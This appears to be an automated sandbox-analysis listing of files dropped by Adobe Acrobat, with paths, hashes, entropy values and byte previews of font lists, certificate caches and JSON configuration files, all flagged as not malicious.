SHA-256:	8D6B4F91BF0520689B1FBEF7B539B207A4018103CBC72435D1A33AA4C5D984A7
SHA-512:	F3B5EF445245E1D9719D90B6E9842402C28C363FC36A577E5D2F98E901C3D8E5FDF91928A0B28FEE6322D0EEFBC01269D8C4B794A96FBD894F7E77C08CDC5780
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.775482171476105
Encrypted:	false
SSDEEP:	48:7M5p/E2ioyVPioy9oWoy1Cwoy1DKOioy1noy1AYoy1Wioy1hioybioyToy1noy15:7OpjuPFCXKQeBb9IVXEBodRBkv
MD5:	FA69ABB4E99A8D9B90C3E5EDABE9E2C1
SHA1:	3C0B2D696E3C07DEB4287CC9A34E83F5111075D0
SHA-256:	A05CEC7AE3D457BA986977A55F2E3E3D3B2838CBB4C7962D043064C6A4D3EAD3
SHA-512:	BE8231AF193E28DD58CD3CDB7D6032853CFE69201A9B3E2F361A48AD64A266D3F1C81780F64D46596EBBDE30CD87312F57665E3B7D8D3204965B235CFE8385E6
Malicious:	false
Preview:	.... .c.....K8.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.756901573172974
Encrypted:	false
SSDEEP:	3:kkFklWYDiltfllXlE/HT8kSlzXNNX8RolJuRdxLlGB9lQRYwpDdt:kKPYaeT8HlzdNMa8RdWBwRd
MD5:	752B1F2CE6C0C115AD239CFDC15BD388
SHA1:	5F351B783A4E5DAD28950B3F51B401FD46388A57
SHA-256:	B8BA453876C0C07A426DF048571EFC5938CC196A4B2C0B55C11DA586D542D0C5
SHA-512:	25E1E81B191F48D46A70067B3E0ACDB3F006F87F1D35E2A71B4CC5FEC3DE72584CD8CBA55B1CAE9C4D8F1CF224D08AC74BADA7717C73702CF2B39E3416D55DDD
Malicious:	false
Preview:	p...... ..........Y.e..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1382935058119616
Encrypted:	false
SSDEEP:	6:kKU/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:8iDnLNkPlE99SNxAhUe/3
MD5:	1367392DA016FF2DD4F60B60B19AF90C
SHA1:	F4C0728AF74172FD22DBE3F1686CC2DD18CB4259
SHA-256:	4C0CB49F9E76DEA89B077FFF3457661D3F098568316E5B3A9FFAB5457222E2F5
SHA-512:	77E1C81AC3D171015EA3BCEDBAA704231D798E5422864318CC8762BBE2C0F2B1E38D812D127A9B4117F85291CA050F7EA65D50D43AD8B5A4E946C4BFD947FE75
Malicious:	false
Preview:	p...... .............e..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5772

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5772

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.369999142233482
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJM3g98kUwPeUkwRe9:YvXKX9WO9kZc0vcsGMbLUkee9
MD5:	92B7FEBBC26443204929F886791E0B5B
SHA1:	CA480681B5F506605AF731E4AA3A07071607A44F
SHA-256:	02749060E520E8D445E703A35AFB838C0FF0E751E4797848073B2DA19BC84AFF
SHA-512:	E43FAED26FDB76729FB74FC9050872DB7FABCF15B6AA1521597576C05F0BF275A22F7F5FBBE105C0AA94E9166B44C982A8624A9CFA3404DDED77F409C5A27B8A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.319856345321203
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJfBoTfXpnrPeUkwRe9:YvXKX9WO9kZc0vcsGWTfXcUkee9
MD5:	D688EB895E19F106D405FEB947AA3219
SHA1:	4B6D8951D73D84F6C3A5CE01A1F002FA518D8B61
SHA-256:	E1E9722ECD34B7D27CE1CD3B9C6A5B23A867A9E4A7F4BEB4BD547E70D12A2B46
SHA-512:	8F31664CBFD8215A808369831B72FF0D51A431D8BD761B075B8ED52EA2E692D9FAEDB7775CAA5F4C490FE85A27F17BCF9873071C49C260B71800ABD34A1C6B9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297706438898273
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJfBD2G6UpnrPeUkwRe9:YvXKX9WO9kZc0vcsGR22cUkee9
MD5:	0A75DE2015E3783B26AECDE6EED0BF67
SHA1:	CB6F10F2D1AB06A3B6E800DAC74F62EFCFCA6398
SHA-256:	6B626188EA4113B658D3A3395BDEB283A451E331E92C218028898C8171139360
SHA-512:	67B16986BF48D271BD73C5B4BFFBDFCE5ACB4E28E7BDF106E1CC4F71D236F032A26B0BDAB45BB7F2FCCF92F5669E6CA16FDA1651DAEF6F53FBB3A1635B7D808F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.357242481969564
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJfPmwrPeUkwRe9:YvXKX9WO9kZc0vcsGH56Ukee9
MD5:	39DC3B8A42131FFA26F8A456C4A718CD
SHA1:	AD7D424877D2DEB9D89A8FA3BEECDE27CAB448E4
SHA-256:	D8A7C837E3E4987327F516C3B8A6B0EE67B7085BD79C3258A7E3080DF39EF660
SHA-512:	4E9EAB55E7EEAFEA9DA8A0D03899A3AD4661744EBA0529840312A8A0032C5EA0DC198DFF8D9C45C2CF17872B3BD742D79141871F084B0B54780626DFEEC60F28
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6883538060444945
Encrypted:	false
SSDEEP:	24:Yv6X9WO9kzvcJpLgE9cQx8LennAvzBvkn0RCmK8czOCCS0r:YvbAsUhgy6SAFv5Ah8cv/0r
MD5:	40581E7909F0D7E840AA6DA48491990B
SHA1:	A0DAD008E6AAEE50241F0629DEED3979B0C81ECD
SHA-256:	1FCD6C70D02B1CA3D799628A05DDDB8161F15AB93A53E5E6887FA500F1D0448C
SHA-512:	53DB633707CE9DFDA3BF416CFE09404DF9EE2CF68C3FDF32677804868AD63FE40C7ACE1CA0BDBCE31A100ACFAFA5878FB510408FC1E8F5E49CE8DF42E3C2A953
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304087725429026
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJf8dPeUkwRe9:YvXKX9WO9kZc0vcsGU8Ukee9
MD5:	F3B9A148E3150BE92D230A30CF8C5417
SHA1:	E7578F0592B1E94EDCEA01A01282D4B733984540
SHA-256:	2FE88D65560735E5F503FE85F1086E31E7300C7170AC5EE2FB51B88A455C6237
SHA-512:	7198BBAB88AC596F1EE87B228185AD05188B4AEB21B09CB8B9DE6687A1BC55FE62C33CA75B4956015FC0C220BF09D1CB2F1480D7B84E23909BDBDC286659944A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.307928165888221
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJfQ1rPeUkwRe9:YvXKX9WO9kZc0vcsGY16Ukee9
MD5:	DE79C34FF416A6087F61178FA6059A8B
SHA1:	045AC9DBD15E5E8948B390701139DF6D2C30954C
SHA-256:	B53C8F424D098F86A0D9FAB5A81829EE797FA893DECE2329403B428B1F6C0E2D
SHA-512:	F1CA3DD9E4D995A1E493AC67E67E39BA7A2A38562A408441E14BCD8C4CFED4A105E189D96B35D9499CCA107C2CBB858D20C379F75DACA79E729B7897F71D8578
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3138452570556645
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJfFldPeUkwRe9:YvXKX9WO9kZc0vcsGz8Ukee9
MD5:	536A56F836501B7E1AE4F9CA986936F5
SHA1:	D21E6020C8BC5D7E2B2C468FC10C130EBC064CAF
SHA-256:	5991B63DBF1610513EAF28C0490B96D22639B2D17A99A3AEE7088C7AD1E34335
SHA-512:	DC01E23A021853FA9C320704D5DEEC33B08A221472489FECB710BD3AFFB3F6AE4D9A7894E323CB0AFCBE3A9D5C804CAD3D6A3237CD4CD2E1CD2CC82B559E35BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.33054461586393
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJfzdPeUkwRe9:YvXKX9WO9kZc0vcsGb8Ukee9
MD5:	FB5845560123D24F96E60C416A79F2CB
SHA1:	68FF4DA6FFF863697D2254279F9B68EBF0B9D857
SHA-256:	93640438BC480CC66D6D16C3248E1AE2300A297AC4BF5928A4F1C4639B8FFEF7
SHA-512:	CE9F4EFAC274256A6577E44123B44C8C276BD1729CE26F3D200722DB08C5BEAD139CF30FF9FF75573C6FD801A031DAE228D8A10F42959B3D403E205C7313AACE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3111266719463455
Encrypted:	false
